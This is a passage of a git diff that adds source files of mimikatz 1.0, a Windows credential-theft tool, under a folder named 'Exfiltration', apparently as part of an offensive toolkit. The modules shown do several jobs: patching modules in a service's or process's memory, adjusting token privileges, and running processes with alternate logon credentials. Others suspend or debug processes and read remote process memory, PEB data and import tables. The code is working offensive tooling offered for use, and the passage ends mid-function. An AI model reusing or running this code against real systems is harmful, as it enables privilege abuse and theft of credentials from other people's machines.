+ if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION;
+
+ if(is64)
+ {
+ SYSTEM_INFO mesInfos;
+ GetNativeSystemInfo(&mesInfos);
+
+ *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
+ }
+ }
+
+ return reussite;
+}
+
+bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide)
+{
+ bool reussite = false;
+
+ DWORD majorVersion, minorVersion, build;
+ bool isServer, is64;
+
+ if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64))
+ {
+ reussite =
+ (monOsValide->majorVersion == majorVersion) &&
+ (monOsValide->minorVersion == minorVersion) &&
+ ((monOsValide->build == build) || (monOsValide->build == 0)) &&
+ (monOsValide->isServer == isServer) &&
+ (monOsValide->is64 == is64)
+ ;
+ }
+ else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl;
+ return reussite;
+}
+
+bool mod_patch::checkVersion(OS monOsValide)
+{
+ KIWI_OS_CHECK kOs;
+ switch(monOsValide)
+ {
+ case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
+ case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
+
+ case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
+ case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
+
+ case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
+ case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
+
+ case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
+ case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
+
+ case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
+ case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
+
+ case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
+ case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
+
+ case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
+ }
+
+ return checkVersion(&kOs);
+}
+
+
+bool mod_patch::checkVersion(vector<OS> * vectorValid)
+{
+ bool reussite = false;
+
+ for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++)
+ {
+ reussite = checkVersion(*monOs);
+ }
+
+ if(!reussite)
+ (*outputStream) << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl;
+
+ return reussite;
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h
new file mode 100644
index 0000000..1ae901d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h
@@ -0,0 +1,57 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_process.h"
+#include "mod_memory.h"
+#include "mod_service.h"
+#include <iostream>
+
+class mod_patch
+{
+public:
+ typedef struct _KIWI_OS_CHECK
+ {
+ DWORD majorVersion;
+ DWORD minorVersion;
+ DWORD build;
+ bool isServer;
+ bool is64;
+ } KIWI_OS_CHECK, *PKIWI_OS_CHECK;
+
+ enum OS
+ {
+ WINDOWS_2000_PRO_x86,
+ WINDOWS_2000_SRV_x86,
+
+ WINDOWS_XP_PRO___x86,
+ WINDOWS_XP_PRO___x64,
+ WINDOWS_2003_____x86,
+ WINDOWS_2003_____x64,
+
+ WINDOWS_VISTA____x86,
+ WINDOWS_VISTA____x64,
+ WINDOWS_2008_____x86,
+ WINDOWS_2008_____x64,
+
+ WINDOWS_SEVEN____x86,
+ WINDOWS_SEVEN____x64,
+ WINDOWS_2008r2___x64,
+
+ WINDOWS_8________x86,
+ WINDOWS_8________x64,
+ WINDOWS_8_SERVER_x64
+ };
+
+ static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL);
+ static bool checkVersion(KIWI_OS_CHECK * monOsValide);
+ static bool checkVersion(OS monOsValide);
+ static bool checkVersion(vector<OS> * vectorValid);
+
+ static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
+ static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp
new file mode 100644
index 0000000..bd62e9e
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp
@@ -0,0 +1,121 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_pipe.h"
+
+mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\")
+{
+ pipePath.append(serveur);
+ pipePath.append(L"\\pipe\\");
+ pipePath.append(pipeName);
+}
+
+mod_pipe::~mod_pipe(void)
+{
+ closePipe();
+}
+
+bool mod_pipe::closePipe()
+{
+ bool reussite = false;
+
+ if(hPipe != INVALID_HANDLE_VALUE && hPipe)
+ {
+ FlushFileBuffers(hPipe);
+ DisconnectNamedPipe(hPipe);
+ reussite = CloseHandle(hPipe) == TRUE;
+ }
+ return reussite;
+}
+
+bool mod_pipe::readFromPipe(wstring &laReponse)
+{
+ bool reussite = false;
+ wchar_t monBuffer[128];
+
+ bool fSuccess;
+ DWORD longueurReponse;
+ laReponse.clear();
+
+ do
+ {
+ fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false;
+ if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */)
+ {
+ laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t));
+ }
+ else
+ {
+ break;
+ }
+ } while (!fSuccess);
+
+ return reussite;
+}
+
+bool mod_pipe::writeToPipe(const wstring &leMessage)
+{
+ bool reussite = false;
+ DWORD longueurMessage;
+ DWORD longueurOctetsEcris;
+
+ longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t);
+
+ if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris)
+ {
+ reussite = FlushFileBuffers(hPipe) != 0;
+ }
+ return reussite;
+}
+
+
+bool mod_pipe::createServer()
+{
+ bool reussite = false;
+
+ if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
+ {
+ hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL);
+
+ if (hPipe && hPipe != INVALID_HANDLE_VALUE)
+ {
+ reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
+ }
+ else
+ {
+ closePipe();
+ }
+ }
+ return reussite;
+}
+
+bool mod_pipe::createClient()
+{
+ bool reussite = false;
+
+ if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
+ {
+ if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT))
+ {
+ hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+
+ if (hPipe != INVALID_HANDLE_VALUE)
+ {
+ DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
+
+ if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0))
+ {
+ closePipe();
+ }
+ }
+ }
+ }
+ return reussite;
+}
+
+bool mod_pipe::isConnected()
+{
+ return (hPipe && hPipe != INVALID_HANDLE_VALUE);
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h
new file mode 100644
index 0000000..69ab9e9
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h
@@ -0,0 +1,29 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+
+class mod_pipe
+{
+private:
+ HANDLE hPipe;
+ wstring pipePath;
+
+public:
+ mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L".");
+ virtual ~mod_pipe(void);
+
+ bool closePipe();
+
+ bool readFromPipe(wstring &laReponse);
+ bool writeToPipe(const wstring &leMessage);
+
+ bool createServer();
+ bool createClient();
+
+ bool isConnected();
+};
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp
new file mode 100644
index 0000000..34324b6
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp
@@ -0,0 +1,95 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_privilege.h"
+
+bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName)
+{
+ bool reussite = false;
+ DWORD tailleRequise = 0;
+
+ if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ wchar_t * monBuffer = new wchar_t[tailleRequise];
+ if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0))
+ {
+ privilegeName->assign(monBuffer);
+ }
+ delete[] monBuffer;
+ }
+ return reussite;
+}
+
+bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege)
+{
+ return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0);
+}
+
+bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
+{
+ bool reussite = false;
+
+ HANDLE hToken = INVALID_HANDLE_VALUE;
+ if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken))
+ {
+ DWORD tailleRequise = 0;
+ BYTE * monBuffer;
+
+ if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ monBuffer = new BYTE[tailleRequise];
+ if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0))
+ {
+ TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
+ for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++)
+ {
+ wstring * monPrivilege = new wstring();
+ if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege))
+ {
+ maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes));
+ }
+ delete monPrivilege;
+ }
+ }
+ delete[] monBuffer;
+ }
+ }
+ return reussite;
+}
+
+bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
+{
+ bool reussite = false;
+
+ BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])];
+ TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
+ mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size());
+
+ unsigned int i;
+ vector<pair<wstring, DWORD>>::iterator monPrivilege;
+ for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++)
+ {
+ if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid)))
+ {
+ mesPrivileges->Privileges[i].Attributes = monPrivilege->second;
+ }
+ else
+ {
+ break;
+ }
+ }
+
+ if(reussite)
+ {
+ HANDLE hToken = INVALID_HANDLE_VALUE;
+ if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0))
+ {
+ reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS);
+ }
+ }
+
+ delete monBuffer;
+ return reussite;
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h
new file mode 100644
index 0000000..2d2652f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h
@@ -0,0 +1,18 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+
+class mod_privilege
+{
+private:
+ static bool getName(PLUID idPrivilege, wstring * privilegeName);
+ static bool getValue(wstring * privilegeName, PLUID idPrivilege);
+
+public:
+ static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+ static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp
new file mode 100644
index 0000000..d000f41
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp
@@ -0,0 +1,473 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_process.h"
+
+bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName)
+{
+ HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if(hProcessesSnapshot != INVALID_HANDLE_VALUE)
+ {
+ PROCESSENTRY32 monProcessus;
+ monProcessus.dwSize = sizeof(PROCESSENTRY32);
+
+ if(Process32First(hProcessesSnapshot, &monProcessus))
+ {
+ do
+ {
+ if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0))
+ {
+ KIWI_PROCESSENTRY32 monProcessK = {
+ monProcessus.dwSize,
+ monProcessus.cntUsage,
+ monProcessus.th32ProcessID,
+ monProcessus.th32DefaultHeapID,
+ monProcessus.th32ModuleID,
+ monProcessus.cntThreads,
+ monProcessus.th32ParentProcessID,
+ monProcessus.pcPriClassBase,
+ monProcessus.dwFlags,
+ monProcessus.szExeFile
+ };
+
+ maProcessesvector->push_back(monProcessK);
+ }
+ } while(Process32Next(hProcessesSnapshot, &monProcessus));
+ }
+ CloseHandle(hProcessesSnapshot);
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+}
+
+bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName)
+{
+ bool reussite = false;
+
+ vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>();
+
+ if(getList(mesProcesses, processName))
+ {
+ if(reussite = (mesProcesses->size() == 1))
+ {
+ *monProcess = mesProcesses->front();
+ }
+ }
+ delete mesProcesses;
+ return reussite;
+}
+
+bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId)
+{
+ bool reussite = false;
+
+ vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>();
+ if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId))
+ {
+ if(!moduleName)
+ {
+ *monModule = *(monVecteurDeModule->begin());
+ reussite = true;
+ }
+ else
+ {
+ for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++)
+ {
+ if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0)
+ {
+ *monModule = *leModule;
+ reussite = true;
+ break;
+ }
+ }
+ }
+ }
+ delete monVecteurDeModule;
+
+ return reussite;
+}
+
+bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId)
+{
+ HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0));
+
+ if(hModuleSnapshot != INVALID_HANDLE_VALUE)
+ {
+ MODULEENTRY32 monModule;
+ monModule.dwSize = sizeof(MODULEENTRY32);
+
+ if(Module32First(hModuleSnapshot, &monModule))
+ {
+ do
+ {
+ KIWI_MODULEENTRY32 monModuleK = {
+ monModule.dwSize,
+ monModule.th32ModuleID,
+ monModule.th32ProcessID,
+ monModule.GlblcntUsage,
+ monModule.ProccntUsage,
+ monModule.modBaseAddr,
+ monModule.modBaseSize,
+ monModule.hModule,
+ monModule.szModule,
+ monModule.szExePath
+ };
+ maModulevector->push_back(monModuleK);
+ } while(Module32Next(hModuleSnapshot, &monModule));
+ }
+ CloseHandle(hModuleSnapshot);
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+}
+
+bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken)
+{
+ bool reussite = false;
+ RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION));
+ STARTUPINFO mesInfosDemarrer;
+ RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
+ mesInfosDemarrer.cb = sizeof(STARTUPINFO);
+
+ wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1];
+ maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size());
+ commandLine[maCommandLine->size()] = L'\0';
+
+ DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL);
+
+ if(leToken)
+ reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+ else if(aUsurper)
+ reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+ else
+ reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+
+ delete[] commandLine;
+ return reussite;
+}
+
+bool mod_process::suspend(DWORD & processId)
+{
+ bool reussite = false;
+
+ if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess")))
+ {
+ HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = NT_SUCCESS(NtSuspendProcess(monHandle));
+ CloseHandle(monHandle);
+ }
+ }
+ return reussite;
+}
+
+bool mod_process::resume(DWORD & processId)
+{
+ bool reussite = false;
+
+ if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess")))
+ {
+ HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = NT_SUCCESS(NtResumeProcess(monHandle));
+ CloseHandle(monHandle);
+ }
+ }
+ return reussite;
+}
+
+bool mod_process::stop(DWORD & processId, DWORD exitCode)
+{
+ bool reussite = false;
+
+ HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = (TerminateProcess(monHandle, exitCode) != 0);
+ CloseHandle(monHandle);
+ }
+ return reussite;
+}
+
+bool mod_process::debug(DWORD & processId)
+{
+ return (DebugActiveProcess(processId) != 0);
+}
+
+bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle)
+{
+ bool reussite = false;
+
+ if(processHandle == INVALID_HANDLE_VALUE)
+ processHandle = GetCurrentProcess();
+
+ if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess")))
+ {
+ ULONG sizeReturn;
+ reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION));
+ }
+ return reussite;
+}
+
+bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId)
+{
+ bool reussite = false;
+
+ HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId);
+ if(handleProcess && handleProcess != INVALID_HANDLE_VALUE)
+ {
+ HANDLE handleProc;
+ if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0)
+ {
+ DWORD ddNeededSize;
+ TOKEN_STATISTICS tokenStats;
+
+ if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0))
+ {
+ AuthentificationId = tokenStats.AuthenticationId;
+ }
+ CloseHandle(handleProc);
+ }
+ CloseHandle(handleProcess);
+ }
+
+ return reussite;
+}
+
+bool mod_process::getPeb(PEB * peb, HANDLE processHandle)
+{
+ bool reussite = false;
+ PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION();
+ if(getProcessBasicInformation(mesInfos, processHandle))
+ {
+ reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle);
+ }
+ delete mesInfos;
+ return reussite;
+}
+
+bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess)
+{
+ bool reussite = false;
+
+ BYTE * baseAddr = ptrBaseAddr;
+
+ BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)];
+ if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess))
+ {
+ PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER);
+ if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE)
+ {
+ BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)];
+ if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess))
+ {
+ PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS);
+ if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE)
+ {
+ if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0)
+ {
+ BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size];
+ if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess))
+ {
+ PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR);
+ if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)))
+ {
+ while(structImportDesc->Characteristics)
+ {
+ DWORD i = 0;
+
+ BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)];
+ BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)];
+
+ vector<KIWI_IAT_MODULE> mesImports;
+
+ for(;;)
+ {
+ if(
+ mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess)
+ &&
+ mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess)
+ )
+ {
+ PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName);
+ PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT);
+
+ if(HintNameArray->u1.Function)
+ {
+ KIWI_IAT_MODULE imageIAT = {
+ baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function),
+ reinterpret_cast<PVOID>(IATArray->u1.Function),
+ 0,
+ string()
+ };
+
+ if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ {
+ imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal);
+ }
+ else
+ {
+ BYTE monTab[] = {0};
+ long offsetToNull;
+ if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
+ {
+ BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull];
+ if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess))
+ {
+ PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME);
+ imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name));
+ }
+ delete [] ayIMAGE_IMPORT_BY_NAME;
+ }
+ }
+
+ mesImports.push_back(imageIAT);
+ i++;
+ }
+ else break;
+ }
+ else break;
+ }
+
+ delete[] ayIMAGE_THUNK_DATA_IAT;
+ delete[] ayIMAGE_THUNK_DATA_HintName;
+
+ BYTE monTab[] = {0};
+ long offsetToNull;
+
+ if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
+ {
+ char * maLib = new char[offsetToNull+1];
+ if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess))
+ {
+ monIAT->push_back(make_pair(string(maLib), mesImports));
+ }
+ delete [] maLib;
+ }
+
+ structImportDesc++;
+ }
+ }
+ }
+ delete[] ayIMAGE_IMPORT_DESCRIPTOR;
+ }
+ }
+ }
+ delete[] ayIMAGE_NT_HEADERS;
+ }
+ }
+ delete[] ayIMAGE_DOS_HEADER;
+
